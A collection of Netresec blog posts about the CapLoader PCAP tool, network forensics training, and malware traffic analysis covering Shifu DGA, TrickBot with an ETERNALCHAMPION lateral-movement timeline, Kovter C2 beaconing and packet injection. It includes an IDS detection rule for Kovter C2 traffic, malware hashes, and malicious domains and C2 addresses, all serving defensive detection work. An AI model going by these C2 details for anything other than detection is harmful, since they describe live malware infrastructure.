CapLoader’s main view presents the contents of the loaded PCAP files as a list of netflow records. Since the full PCAP is available, CapLoader also parses the DNS packets in the capture files in order to enrich the netflow view with hostnames. Recently PaC shared a great idea with us, why not show how many failed DNS lookups each client does? This would enable generic detection of DGA botnets without using blacklists. I’m happy to announce that this great idea made it directly into this new release! The rightmost column in CapLoader’s hosts tab, called “DNS_Fails”, shows how many percent of a client’s DNS requests that have resulted in an NXRESPONSE or SRVFAIL response.

CapLoader 1.8

Two packet capture files are loaded into CapLoader in the screenshot above; one PCAP file from a PC infected with the Shifu malware and one PCAP file with “normal traffic” (thanks @StratosphereIPS for sharing these capture files). As you can see, one of the clients (10.0.2.107) has a really high DNS failure ratio (99.81%). Unsurprisingly, this is also the host that was infected with the Shifu, which uses a domain generation algorithm (DGA) to locate its C2 servers.

Apart from parsing A and CNAME records from DNS responses CapLoader now also parses AAAA DNS records (IPv6 addresses). This enables CapLoader to map public domain names to hosts with IPv6 addresses.

Additional Updates

The new CapLoader release also comes with several other new features and updates, such as:

  • Added urlscan.io service for domain and IP lookups (right-click a flow or host to bring up the lookup menu).
  • Flow ID coloring based on 5-tuple, and clearer colors in timeline Gantt chart.
  • Extended default flow-timeout from 10 minutes to 2 hours for TCP flows.
  • Changed flow-timout for non-TCP flows to 60 seconds.
  • Upgraded to .NET Framework 4.7.2.

Updating to the Latest Release

Users who have previously purchased a license for CapLoader can download a free update to version 1.8 from our customer portal. All others can download a free 30 day trial from the CapLoader product page (no registration required).

Credits

We’d like to thank Mikael Harmark, Mandy van Oosterhout and Ulf Holmström for reporting bugs that have been fixed in this release. We’d also like to thank PaC for the DNS failure rate feature request mentioned in this blog post.

Posted by Erik Hjelmvik on Tuesday, 28 May 2019 10:45:00 (UTC/GMT)

Tags: #CapLoader #NetFlow #regex #DNS #DGA #Stratosphere

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=1950482


Video: TrickBot and ETERNALCHAMPION

This video tutorial is a walkthrough of how you can analyze the PCAP file UISGCON-traffic-analysis-task-pcap-2-of-2.pcap (created by Brad Duncan). The capture file contains a malicious Word Document (macro downloader), Emotet (banking trojan), TrickBot/Trickster (banking trojan) and an EternalChampion (CVE-2017-0146) exploit used to perform lateral movement.

Network Diagram

Network Diagram

Timeline of Events

Frame Time (UTC) Event
825 18:55:32 Malicious Word doc [cosmoservicios.cl]
1099 18:56:04 Emotet download [bsrcellular.com]
5024 19:00:41 Trickbot "radiance.png" download
9604 19:01:34 Client credentials exfiltrated [200.29.24.36:8082]
9915 19:01:36 ETERNALCHAMPION exploit from client to DC
10424 19:01:51 Client sends .EXE files to \\10.1.75.4\C$\WINDOWS\
11078 19:01:51 Client infects DC with Trickbot via rogue service
14314 19:07:03 DC credentials exfiltrated [200.29.24.36:8082]

OSINT Links Opened

Tools Used

Network Forensics Training

Wanna improve your network forensics skills? Take a look at our trainings, the next scheduled class is on March 18-19 at the TROOPERS conference in Germany.

Posted by Erik Hjelmvik on Wednesday, 23 January 2019 14:00:00 (UTC/GMT)

Tags: #Wireshark #CapLoader #NetworkMiner #videotutorial #video #pcap #Network Forensics #ASCII-art

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=1916dfe


CapLoader 1.7 Released

We are happy to announce the release of CapLoader 1.7! CapLoader 1.7 logo

Here’s an overview of what’s new in this release:

  • Regular expression searching
  • Lookup of IP addresses using online services
  • Lookup of domain names using online services
  • Improved protocol fingerprinting speed and precision
  • Support for GRE, IGMP and ICMPv6 flows
  • More precise period estimation of “periodic services


Regular Expressions Search

CapLoader’s “Find Keyword” window has been extended with an option to search flows using regular expressions (regex) as an alternative to searching for strings or byte sequences. With help of the powerful regex syntax built into .NET this new search option enables very flexible searching.

Searching for Alfa Ransomware flows in CapLoader using regex
Image: Searching for Alfa Ransomware flows using regex

The Find Keyword window can be opened by clicking Edit > Find Keyword, or by pressing Ctrl+F after having loaded a PCAP file.

You can learn more about regex searching with CapLoader in our short video called "Detecting the Pony Trojan with RegEx using CapLoader".


OSINT Lookups of IP Addresses and Domains

We added support for querying online services for IPs and domain names to the latest release of NetworkMiner, now it’s time to add this very handy feature to CapLoader as well.

Right-clicking a Flow, Service or Host in CapLoader brings up a context menu with links to various online resources that might have more details regarding the clicked IP address or domain name.

CapLoader OSINT lookups

The services available for IP address OSINT lookup include:
APNIC Whois, Censys, Cymon, ExoneraTor, Google Public DNS, GreenSnow.co, Hurricane Electric, IBM X-Force, Internet Storm Center, mnemonic Passive DNS, PacketTotal, SecurityTrails, Shodan, ThreatCrowd, ThreatMiner, UrlQuery and VirusTotal.

The domain name lookup menu contains a similar set of providers:
Cymon, Google Public DNS, Google Safe Browsing, Hybrid Analysis, IBM X-Force Exchange, mnemonic Passive DNS, MXToolBox, MyWOT, Norton Safe Web, PacketTotal, SecurityTrails, ThreatCrowd, ThreatMiner, URL Void, UrlQuery, VirusTotal, Website Informer, Webutation and Whoisology.


Protocol Identification

The dynamic protocol detection (or Port Independent Protocol Detection, aka “PIPI”) in CapLoader has been improved to support even more protocols than before. We have also fine-tuned the protocol identification algorithm to be both faster and more accurate.

CapLoader 1.7 identifying SSL on non-standard port
Image: Traffic to TCP 8777 identified as SSL (PCAP file from Stratosphere IPS)


Updating to the Latest Release

Users who have previously purchased a license for CapLoader can download a free update to version 1.7 from our customer portal. All others can download a free 30 day trial from the CapLoader product page (no registration required).


Credits

We’d like to thank Michael Nilsson for suggesting the IP and domain name lookup feature and Tohar Braun for suggesting RegEx search support. We’d also like to thank Ralf Alvarsson and Jarmo Lahtiranta for reporting bugs that have been resolved in this release.

Posted by Erik Hjelmvik on Tuesday, 03 July 2018 11:37:00 (UTC/GMT)

Tags: #CapLoader #regex #keyword #pcap #GRE #OSINT #IP

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=1878305


Analyzing Kelihos SPAM in CapLoader and NetworkMiner

This network forensics video tutorial covers how to analyze SPAM email traffic from the Kelihos botnet. The analyzed PCAP file comes from the Stratosphere IPS project, where Sebastian Garcia and his colleagues execute malware samples in sandboxes. The particular malware sample execution we are looking at this time is from the CTU-Malware-Capture-Botnet-149-2 dataset.

Resources

IOCs
990e5daa285f5c9c6398811edc68a659
e4f7fa6a0846e4649cc41d116c40f97835d3bb7d3d0391d3540482f077aa4493
6c55 5545 0310 4840

Check out our series of network forensic video tutorials for more tips and tricks on how to analyze captured network traffic.

Posted by Erik Hjelmvik on Monday, 19 February 2018 06:37:00 (UTC/GMT)

Tags: #Netresec #PCAP #CapLoader #NetworkMiner #videotutorial #video #tutorial #NetFlow #extract #Stratosphere

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=182053b


CapLoader 1.6 Released

CapLoader 1.6

CapLoader is designed to simplify complex tasks, such as digging through gigabytes of PCAP data looking for traffic that sticks out or shouldn’t be there. Improved usability has therefore been the primary goal, when developing CapLoader 1.6, in order to help our users do their work even more efficiently than before.

Some of the new features in CapLoader 1.6 are:

  • Context aware selection and filter suggestions when right-clicking a flow, session or host.
  • Support for IPv6 addresses in the BPF syntax for Input Filter as well as Display Filter.
  • Flows that are inactive for more than 60 minutes are considered closed. This timeout is configurable in Tools > Settings.


Latency Measurements

CapLoader 1.6 also introduces a new column in the Flows tab labeled “Initial_RTT”, which shows the Round Trip Time (RTT) measured during the start of a session. The RTT is defined as “the time it takes for a signal to be sent plus the time it takes for an acknowledgment of that signal to be received”. RTT is often called “ping time” because the ping utility computes the RTT by sending ICMP echo requests and measuring the delay until a reply is received.

Initial RTT in CapLoader Flows Tab
Image: CapLoader 1.6 showing ICMP and TCP round trip times.

But using a PCAP file to measure the RTT between two hosts isn’t as straight forward as one might think. One complicating factor is that the PCAP might be generated by the client, server or by any device in between. If we know that the sniffing point is at the client then things are simple, because we can then use the delta-time between an ICMP echo request and the returning ICMP echo response as RTT. In lack of ping traffic the same thing can be achieved with TCP by measuring the time between a SYN and the returning SYN+ACK packet. However, consider the situation when the sniffer is located somewhere between the client and server. The previously mentioned method would then ignore the latency between the client and sniffer, the delta-time will therefore only show the RTT between the sniffer and the server.

This problem is best solved by calculating the Initial RTT (iRTT) as the delta-time between the SYN packet and the final ACK packet in a TCP three-way handshake, as shown here:

Initial Round Trip Time in PCAP Explained
Image: Initial RTT is the total time of the black/bold packet traversal paths.

Jasper Bongertz does a great job of explaining why and how to use the iRTT in his blog post “Determining TCP Initial Round Trip Time”, so I will not cover it in any more detail here. However, keep in mind that iRTT can only be calculated this way for TCP sessions. CapLoader therefore falls back on measuring the delta time between the first packet in each direction when it comes to transport protocols like UDP and ICMP.


Exclusive Features Not Available in the Free Trail

The new features mentioned so far are all available in the free 30 day CapLoader trial, which can be downloaded from our CapLoader product page (no registration required). But we’ve also added features that are only available in the commercial/professional edition of CapLoader. One such exclusive feature is the matching of hostnames against the Cisco Umbrella top 1 million domain list. CapLoader already had a feature for matching domain names against the Alexa top 1 million list, so the addition of the Umbrella list might seem redundant. But it’s actually not, the two lists are compiled using different data sources and therefore complement each other (see our blog post “Domain Whitelist Benchmark: Alexa vs Umbrella” for more details). Also, the Umbrella list contains subdomains (such as www.google.com, safebrowsing.google.com and accounts.google.com) while the Alexa list only contains main domains (like “google.com”). CapLoader can therefore do more fine-granular domain matching with the Umbrella list (requiring a full match of the Umbrella domain), while the Alexa list enables a more rough “catch ‘em all” approach (allowing *.google.com to be matched).

CapLoader Hosts tab with ASN, Alexa and Umbrella details

CapLoader 1.6 also comes with an ASN lookup feature, which presents the autonomous system number (ASN) and organization name for IPv4 and IPv6 addresses in a PCAP file (see image above). The ASN lookup is built using the GeoLite database created by MaxMind. The information gained from the MaxMind ASN database is also used to provide intelligent display filter CIDR suggestions in the context menu that pops up when right-clicking a flow, service or host.

CapLoader Flows tab with context menu for Apply as Display Filter
Image: Context menu suggests Display Filter BPF “net 104.84.152.0/17” based on the server IP in the right-clicked flow.

Users who have previously purchased a license for CapLoader can download a free update to version 1.6 from our customer portal.


Credits and T-shirts

We’d like to thank Christian Reusch for suggesting the Initial RTT feature and Daan from the Dutch Ministry of Defence for suggesting the ASN lookup feature. We’d also like to thank David Billa, Ran Tohar Braun and Stephen Bell for discovering and reporting bugs in CapLoader which now have been fixed. These three guys have received a “PCAP or it didn’t happen” t-shirt as promised in our Bug Bounty Program.

Got a t-shirt for crashing CapLoader

If you too wanna express your view of outlandish cyber attack claims without evidence, then please feel free to send us your bug reports and get rewarded with a “PCAP or it didn’t happen” t-shirt!

Posted by Erik Hjelmvik on Monday, 09 October 2017 08:12:00 (UTC/GMT)

Tags: #CapLoader #free #IPv6 #BPF #CIDR #PCAP #Umbrella #Alexa

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=17Aba35


CapLoader 1.5 Released

CapLoader 1.5 Logo

We are today happy to announce the release of CapLoader 1.5. This new version of CapLoader parses pcap and pcap-ng files even faster than before and comes with new features, such as a built-in TCP stream reassembly engine, as well as support for Linux and macOS.

Support for ICMP Flows

CapLoader is designed to group packets together that belong to the same bi-directional flow, i.e. all UDP, TCP and SCTP packets with the same 5-tuple (regardless of direction) are considered being part of the same flow.

5-tuple
/fʌɪv ˈtjuːp(ə)l/
noun

A combination of source IP, destination IP, source port, destination port and transport protocol (TCP/UDP/SCTP) used to uniquely identify a flow or layer 4 session in computer networking.

The flow concept in CapLoader 1.5 has been extended to also include ICMP. Since there are no port numbers in the ICMP protocol CapLoader sets the source and destination port of ICMP flows to 0. The addition of ICMP in CapLoader also allows input filters and display filters like “icmp” to be leveraged.

Flows tab in CapLoader 1.5 with display filter BPF 'icmp'
Image: CapLoader 1.5 showing only ICMP flows due to display filter 'icmp'.

TCP Stream Reassembly

One of the foundations for making CapLoader a super fast tool for reading and filtering PCAP files is that it doesn’t attempt to reassemble TCP streams. This means that CapLoader’s Transcript view will show out-of-order segments in the order they were received and retransmitted segments will be displayed twice.

The basic concept has been to let other tools do the TCP reassembly, for example by exporting a PCAP for a flow from CapLoader to Wireshark or NetworkMiner.

The steps required to reassemble a TCP stream to disk with Wireshark are:

  1. Right-click a TCP packet in the TCP session of interest.
  2. Select “Follow > TCP Stream”.
  3. Choose direction in the first drop-down-list (client-to-server or server-to-client).
  4. Change format from “ASCII” to “Raw” in the next drop-down-menu.
  5. Press the “Save as...” button to save the reassembled TCP stream to disk.

Follow TCP Stream window in Wireshark

Unfortunately Wireshark fails to properly reassemble some TCP streams. As an example the current stable release of Wireshark (version 2.2.5) shows duplicate data in “Follow TCP Stream” when there are retransmissions with partially overlapping segments. We have also noticed some additional  bugs related to TCP stream reassembly in other recent releases of Wireshark. However, we’d like to stress that Wireshark does perform a correct reassembly of most TCP streams; it is only in some specific situations that Wireshark produces a broken reassembly. Unfortunately a minor bug like this can cause serious consequences, for example when the TCP stream is analyzed as part of a digital forensics investigation or when the extracted data is being used as input for further processing. We have therefore decided to include a TCP stream reassembly engine in CapLoader 1.5. The steps required to reassemble a TCP stream in CapLoader are:

  1. Double click a TCP flow of interest in the “Flows” tab to open a flow transcript.
  2. Click the “Save Client Byte Stream” or “Save Server Byte Stream” button to save the data stream for the desired direction to disk.

Transcript window in CapLoader 1-5

Extracting TCP streams from PCAP files this way not only ensures that the data stream is correctly reassembled, it is also both faster and simpler than having to pivot through Wireshark’s Follow TCP Stream feature.

PCAP Icon Context Menu

CapLoader 1.5 PCAP icon Save As...

The PCAP icon in CapLoader is designed to allow easy drag-and-drop operations in order to open a set of selected flows in an external packet analysis tool, such as Wireshark or NetworkMiner. Right-clicking this PCAP icon will bring up a context menu, which can be used to open a PCAP with the selected flows in an external tool or copy the PCAP to the clipboard. This context menu has been extended in CapLoader 1.5 to also include a “Save As” option. Previous versions of CapLoader required the user to drag-and-drop from the PCAP icon to a folder in order to save filtered PCAP data to disk.

Faster Parsing with Protocol Identification

CapLoader can identify over 100 different application layer protocols, including HTTP, SSL, SSH, RTP, RTCP and SOCKS, without relying on port numbers. The protocol identification has previously slowed down the analysis quite a bit, which has caused many users to disable this powerful feature. This new release of of CapLoader comes with an improved implementation of the port-independent protocol identification feature, which enables PCAP files to be loaded twice as fast as before with the “Identify protocols” feature enabled.

Works in Linux and macOS

One major improvement in CapLoader 1.5 is that this release is compatible with the Mono framework, which makes CapLoader platform independent. This means that you can now run CapLoader on your Mac or Linux machine if you have Mono installed. Please refer to our previous blog posts about how to run NetworkMiner in various flavors of Linux and macOS to find out how to install Mono on your computer. You will, however, notice a performance hit when running CapLoader under Mono instead of using Windows since the Mono framework isn't yet as fast as Microsoft's .NET Framework.

CapLoader 1.5 running in Linux with Mono
Image: CapLoader 1.5 running in Linux (Xubuntu).

Credits

We’d like to thank Sooraj for reporting a bug in the “Open With” context menu of CapLoader’s PCAP icon. This bug has been fixed in CapLoader 1.5 and Sooraj has been awarded an official “PCAP or it didn’t happen” t-shirt for reporting the bug.

PCAP or it didn't happen t-shirt
Image: PCAP or it didn't happen t-shirt

Have a look at our Bug Bounty Program if you also wanna get a PCAP t-shirt!

Downloading CapLoader 1.5

Everything mentioned in this blog post, except for the protocol identification feature, is available in our free trial version of CapLoader. To try it out, simply grab a copy here:
https://www.netresec.com/?page=CapLoader#trial (no registration needed)

All paying customers with an older version of CapLoader can download a free update to version 1.5 from our customer portal.

Posted by Erik Hjelmvik on Tuesday, 07 March 2017 09:11:00 (UTC/GMT)

Tags: #CapLoader #PCAP #pcap-ng #Follow TCP Stream #Wireshark #Linux #Mac #macOS #RTP #SOCKS #Mono #Flow

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=1738eba


Network Forensics Training at TROOPERS 2017

Troopers logo with Network Forensics Training

I will come back to the awesome TROOPERS conference in Germany this spring to teach my two-day network forensics class on March 20-21.

The training will touch upon topics relevant for law enforcement as well as incident response, such as investigating a defacement, finding backdoors and dealing with a machine infected with real malware. We will also be carving lots of files, emails and other artifacts from the PCAP dataset as well as perform Rinse-Repeat Intrusion Detection in order to detect covert malicious traffic.

Day 1 - March 20, 2017

The first training day will focus on open source tools that can be used for doing network forensics. We will be using the Security Onion linux distro for this part, since it contains pretty much all the open source tools you need in order to do network forensics.

Day 2 - March 21, 2017

We will spend the second day mainly using NetworkMiner Professional and CapLoader, i.e. the commercial tools from Netresec. Each student will be provided with a free 6 month license for the latest version of NetworkMiner Professional (see our recent release of version 2.1) and CapLoader. This is a unique chance to learn all the great features of these tools directly from the guy who develops them (me!).

NetworkMiner   CapLoader

The Venue

The Troopers conference and training will be held at the Print Media Academy (PMA) in Heidelberg, Germany.

PMA Early Morning by Alex Hauk
Print Media Academy, image credit: Alex Hauk

Keeping the class small

The number of seats in the training will be limited in order to provide a high-quality interactive training. However, keep in mind that this means that the we might run out of seats for the network forensics class!

I would like to recommend those who wanna take the training to also attend the Troopers conference on March 22-24. The conference will have some great talks, like these ones:

However, my greatest takeaway from last year's Troopers was the awesome hallway track, i.e. all the great conversations I had with all the smart people who came to Troopers.

Please note that the tickets to the Troopers conference are also limited, and they seem to sell out quite early each year. So if you are planning to attend the network forensics training, then I recommend that you buy an “All Inclusive” ticket, which includes a two-day training and a conference ticket.

You can read more about the network forensics training at the Troopers website.

UPDATE 2017-02-15

The network forensics training at Troopers is now sold out. However, there are still free seats available in our network forensics class at 44CON in London in September.

Posted by Erik Hjelmvik on Tuesday, 24 January 2017 07:20:00 (UTC/GMT)

Tags: #Netresec #Network Forensics #Troopers #NetworkMiner #CapLoader #Training #Security Onion

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=171628b


Bug Bounty PCAP T-shirts

As of today we officially launch the 'Netresec Bug Bounty Program'. Unfortunately we don't have the financial muscles of Microsoft, Facebook or Google, so instead of money we'll be giving away t-shirts.

PCAP or it didn't happen t-shirt
Image: PCAP or it didn't happen t-shirt

To be awarded with one of our 'PCAP or it didn't happen' t-shirts you will have to:

  • Be able to reliably crash the latest version of NetworkMiner or CapLoader, or at least make the tool misbehave in some exceptional way.
  • Send a PCAP file that can be used to trigger the bug to info[at]netresec.com.

Those who find bugs will also receive an honorable mention in our blog post covering the release of the new version containing the bug fix.

Additionally, submissions that play a key-role in mitigating high-severity security vulnerabilities or addressing very important bugs will be awarded with a free license of either NetworkMiner Professional or the full commercial version of CapLoader.

Happy BugBounty Hunting!

Posted by Erik Hjelmvik on Tuesday, 27 September 2016 09:27:00 (UTC/GMT)

Tags: #NetworkMiner #CapLoader #PCAP #Netresec

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=169d9b1


Detecting Periodic Flows with CapLoader 1.4

CapLoader 1.4 logo

I am happy to announce a new release of our super-fast PCAP handling tool CapLoader! One of the new features in CapLoader makes it even easier to detect malicious network traffic without having to rely on blacklists, such as IDS signatures.

The new version of CapLoader includes new features such as:

  • Services Tab (more details below)
  • Input filter to limit number of parsed frames
  • Flow Transcript in Hosts and Services tabs
  • Keyword filtering
  • Full filtering capability for all tabs
  • Wireshark style coloring of flows, services and hosts


Services Tab

The biggest addition to version 1.4 of CapLoader is the Services tab, which presents a somewhat new way of aggregating the flows found in a PCAP file. Each row (or “service”) in the services tab represents a unique combination of <Client-IP, Server-IP, Server-port and Transport-protocol>. This means that if a single host makes multiple DNS requests to 8.8.8.8, then all those flows will be merged together as one row in the services tab.

CapLoader Services tab showing DNS requests to 8.8.8.8

This view makes it easy to see if a host is frequently accessing a particular network service. CapLoader even shows if the requests are made with regular intervals, in which case we measure the regularity and determine the most likely period between connections. The idea for measuring regularity comes from Sebastian Garcia's Stratosphere IPS, which can identify botnets by analyzing the periodicity of flows going to a C2 server.


Malware Example: Kovter.B

Here's what the Services tab looks like when loading 500 MB of PCAP files from a network where one of the hosts has been infected with malware (Win32/Kovter.B).

CapLoader service ordered on regularity

The services in the screenshot are sorted on the “Regularity” column, so that the most periodic ones are shown at the top. Services with a regularity value greater than 20 can be treated as periodic. In our case we see the top two services having a regularity of 36.9 with an estimated period of roughly 6h 2min. We can visualize the periodic behavior by opening the flows for those two services in a new instance if CapLoader. To do this, simply select the two services' rows, right-click the PCAP icon (in the top-right corner) and select “Open With > CapLoader 1.4.0.0”

CapLoader Flows tab with periodicly accessed service

As you can see in the flows tab, these services are accessed by the client on a regular interval of about 6h 2min. Doing a flow transcript of one such flow additionally reveals that the payload seems suspicious (not HTTP on TCP 80).

CapLoader transcript of Kovter.B C2 attempt (hex)
Image: Kovter.B malware trying to communicate with a C2 server

The Kovter malware failed to reach the C2 server in the attempt above, but there is a successful connection going to a C2 server at 12.25.99.131 every 3'rd hour (see service number 8 in the list of the most periodically accessed services). Here's a flow transcript of one such beacon:

CapLoader Transcript of Kovter.B C2 traffic
Image: Kovter.B malware talking to C2 server at 12.25.99.131


Legitimate Periodic Services

Seven out of the 10 most periodically accessed services are actually caused by the Kovter malware trying to reach various C2 servers. The three most periodically accessed services that aren't malicious are:

  • Service #3 is a legitimate Microsoft service (SeaPort connecting to toolbar.search.msn.com.akadns.net)
  • Service #5 is a mail client connecting to the local POP3 server every 30 minutes.
  • Service #6 is Microsoft-CryptoAPI updating its Certificate Revocation List from crl.microsoft.com every 5 hours.


Signature-Free Intrusion Detection

As shown in this blog post, analyzing the regularity of services is an efficient way of detecting C2 beacons without having to rely on IDS signatures. This method goes hand-in-hand with our Rinse-Repeat Intrusion Detection approach, which can be used to find malicous network traffic simply by ignoring traffic that seems “normal”.


Credits

Several bugs have been fixed in CapLoader 1.4, such as:

  • Support for frames with Captured Length > Real Lenght (Thanks to Dietrich Hasselhorn for finding this bug)
  • Delete key is no longer hijacked by the “Hide Selected Flows” button (Thanks to Dominik Andreansky for finding this bug).
  • CapLoader GUI now looks okay even with graphics are scaled through "custom sizing". Thanks to Roland Wagner for finding this.


Downloading CapLoader 1.4

The regularity and period detection is available in our free trial version of CapLoader. To try it out simply grab a copy here:
https://www.netresec.com/?page=CapLoader#trial (no registration needed)

All paying customers with an older version of CapLoader can grab a free update to version 1.4 at our customer portal.


UPDATE June 2, 2016

We're happy to announce that it is now possible to detect Kovter's C2 communication with help of an IDS signature thanks to Edward Fjellskål. Edward shared his IDS signature "NT TROJAN Downloader/Malware/ClickFraud.Win32.Kovter Client CnC Traffic" on the Emerging-Sigs mailing list yesterday. We have worked with Edward on this and the signature has been verified on our Kovter C2 dataset.


UPDATE June 8, 2016

Edward Fjellskål's IDS signature "ET TROJAN Win32.Kovter Client CnC Traffic" has now been published as an Emerging Threats open rule with SID 2022861.

#alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"ET TROJAN Win32.Kovter Client CnC? Traffic"; flow:established,to_server; dsize:4<>256; content:!"HTTP"; content:"|00 00 00|"; offset:1; depth:3; pcre:"/^[\x11\x21-\x26\x41\x45\x70-\x79]/R"; content:!"|00 00|"; distance:0; byte_jump:1,0,from_beginning,post_offset 3; isdataat:!2,relative; pcre:!"/\x00$/"; reference:url,symantec.com/connect/blogs/kovter-malware-learns-poweliks-persistent-fileless-registry-update; classtype:trojan-activity; sid:2022861; rev:1;)

Posted by Erik Hjelmvik on Monday, 23 May 2016 11:55:00 (UTC/GMT)

Tags: #CapLoader #PCAP #C2 #beacon #Intrusion Detection

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=165bf7d


Packet Injection Attacks in the Wild

I have previously blogged about packet injection attacks, such as the Chinese DDoS of GitHub and Covert Man-on-the-Side Attacks. However, this time I've decided to share some intelligence on real-world packet injection attacks that have been running for several months and that are still active today.


Packet Injection by Network Operators

Gabi Nakibly, Jaime Schcolnik and Yossi Rubin recently released a very interesting research paper titled “Website-Targeted False Content Injection by Network Operators”, where they analyzed packet injection attacks in the wild. Here's a snippet from the paper's abstract:

It is known that some network operators inject false content into users’ network traffic. Yet all previous works that investigate this practice focus on edge ISPs (Internet Service Providers), namely, those that provide Internet access to end users. Edge ISPs that inject false content affect their customers only. However, in this work we show that not only edge ISPs may inject false content, but also core network operators. These operators can potentially alter the traffic of all Internet users who visit predetermined websites.

The researchers analyzed 1.4 petabits of HTTP traffic, captured at four different locations; three universities and one corporation. Some of their findings have been made available as anonymized PCAP files here:
http://www.cs.technion.ac.il/~gnakibly/TCPInjections/samples.zip

We have attempted to recreate these packet injections by visiting the same URLs again. Unfortunately most of our attempts didn't generate any injected responses, but we did manage to trigger injections for two of the groups listed by Nakibly et al. (“hao” and “GPWA”).


Redirect Race between hao.360.cn and hao123.com

We managed to get very reliable packet injections when visiting the website www.02995.com. We have decided to share one such PCAP file containing a packet injection attack here:
https://www.netresec.com/files/hao123-com_packet-injection.pcap

This is what it looks like when loading that PCAP file into CapLoader and doing a “Flow Transcript” on the first TCP session:

CapLoader Flow Transcript of race between hao.360.cn and hao123.com
Image: CapLoader Flow Transcript (looks a bit like Wireshark's Follow-TCP-Stream)

We can see in the screenshot above that the client requests http://www.02995.com/ and receives two different responses with the same sequence number (3820080905):

  • The first response is a “302 Found”, forwarding the client to:
    http://www.hao123.com/?tn=93803173_s_hao_pg
  • The second response is a “302 Moved Temporarily”, that attempts a redirect to:
    http://hao.360.cn/?src=lm&ls=n4a2f6f3a91

Judging from the IP Time-To-Live (TTL) values we assume that the first response (hao123.com) was an injected packet, while the second response (hao.360.cn) was coming from the real webserver for www.02995.com.

If you have an eye for details, then you might notice that the injected packet doesn't use the standard CR-LF (0x0d 0x0a) line breaks in the HTTP response. The injected packet only uses LF (0x0a) as line feed in the HTTP header.

Since the injected response arrived before the real response the client followed the injected redirect to www.hao123.com. This is what the browser showed after trying to load www.02995.com:

Browser showing www.hao123.com when trying to visit www.02995.com

SSL encryption is an effective protection against packet injection attacks. So if the user instead enters https://www.02995.com then the browser follows the real redirect to hao.360.cn

Browser showing hao.360.cn when using SSL to visit www.02995.com


id1.cn redirected to batit.aliyun.com

Prior to the release of Gabi's packet injection paper, the only publicly available PCAP file showing a real-world packet injection was this one:
https://github.com/fox-it/quantuminsert/blob/master/presentations/brocon2015/pcaps/id1.cn-inject.pcap

That PCAP file was released after Yun Zheng Hu (of Fox-IT) gave a presentation titled “Detecting Quantum Insert” at BroCon 2015. A video recording of Yun Zheng's talk is available online, including a live demo of the packet injection.

We have managed to re-trigger this packet injection attack as well, simply by visiting http://id1.cn. Doing so triggers two injected HTTP responses that attempts to do a redirect to http://batit.aliyun.com/alww.html. The target page of the injected responses has a message from the Alibaba Group (aliyun.com) saying that the page has been blocked.

Website blocked message from Alibaba Group

We have decided to also share a PCAP file containing a packet injection attack for id1.cn here:
https://www.netresec.com/files/id1-cn_packet-injection.pcap

This is what it looks like when that PCAP file is loaded into NetworkMiner Professional, and the Browsers tab is opened in order to analyze the various HTTP redirections:

Browsers tab in NeworkMiner Professional 2.0
Image: Browsers tab in NetworkMiner Professional 2.0

Here's a short recap of what is happening in our shared PCAP file for id1.cn:

  • Frame 13 : http://id1.cn is opened
  • Frame 18 : Real server responds with an HTML refresh leading to http://id1.cn/rd.s/Btc5n4unOP4UrIfE?url=http://id1.cn/
  • Frame 20 : The client also receives two injected packets trying to do a “403 Forbidden” that redirects to http://batit.aliyun.com/alww.html. However, these injected packets arrived too late.
  • Frame 24 : The client proceeds by loading http://id1.cn/rd.s/Btc5n4unOP4UrIfE?url=http://id1.cn/
  • Frame 25 : Two new injected responses are sent, this time successfully redirecting the client to the Alibaba page.
  • Frame 28 : The real response arrives too late.
  • Frame 43 : The client opens the Alibaba page with message about the site being blocked


Protecting against Packet Injection Attacks

The best way to protect against TCP packet injection attacks is to use SSL encryption. Relying on HTTP websites to do a redirect to an HTTPS url isn't enough, since that redirect could be targeted by packet injection. So make sure to actually type “https://” (or use a browser plug-in) in order to avoid being affected by injected TCP packets.


Referenced Capture Files

The following PCAP files have been referenced in this blog post:

For more PCAP files, please visit our list of publicly available PCAP files here: https://www.netresec.com/?page=PcapFiles

Posted by Erik Hjelmvik on Tuesday, 01 March 2016 13:37:00 (UTC/GMT)

Tags: #NetworkMiner #HTTP #browser #CapLoader #MOTS #HTTPS #TCP #PCAP

Share: Facebook   Twitter   Reddit   Hacker News Short URL: https://netresec.com/?b=163e02b


Network Forensics Training at TROOPERS

Troopers logo with Network Forensics Training

I'm happy to announce that I will teach a two-day Network Forensics class at the upcoming Troopers conference in March! The first day of training (March 14) will cover how to use open source tools to analyze intrusions and malware in captured network traffic. On day two (March 15) I will show attendees some tips and tricks for how to use software developed by us at Netresec, i.e. NetworkMiner Professional and CapLoader. This training is a rare opportunity to learn how to use this software directly from the main developer (me). Everyone taking the class will also get a free 6 month personal license for both NetworkMiner Pro and CapLoader.


Scenario and Dataset

The dataset analyzed in the class has been created using REAL physical machines and a REAL internet connection. All traffic on the network is captured to PCAP files by a SecurityOnion sensor. The scenario includes events, such as:

  • Web Defacement
  • Man-on-the-Side (MOTS) attack (much like NSA/GCHQ's QUANTUM INSERT)
  • Backdoor infection through trojanized software
  • Spear phishing
  • Use of a popular RAT (njRAT) for remote access and exfiltration
  • Infection with real malware

Class attendees will learn to analyze captured network traffic from these events in order to:

  • Investigate web server compromises and defacements
  • Detect Man-on-the-Side attacks
  • Identify covert backdoors
  • Reassemble incoming emails and attachments
  • Detect and decode RAT/backdoor traffic
  • Detect malicious traffic without having to rely on blacklists, AV or third-party detection services

Training Room
Training room at TROOPERS'15

For more details about the training, please visit Netresec's or Troopers' training pages:
http://www.netresec.com/?page=Training
https://www.troopers.de/events/troopers16/576_network_forensics/

 Print Media Academy in Heidelberg

The Venue

The TROOPERS conference and training take place at the Print Media Academy in Heidelberg, Germany. For more info about travel and accommodation, please visit:
https://www.troopers.de/troopers16/travel/

Hope to see you at TROOPERS16 in Heidelberg, Germany!


Posted by Erik Hjelmvik on Tuesday, 15 December 2015 10:53:00 (UTC/GMT)

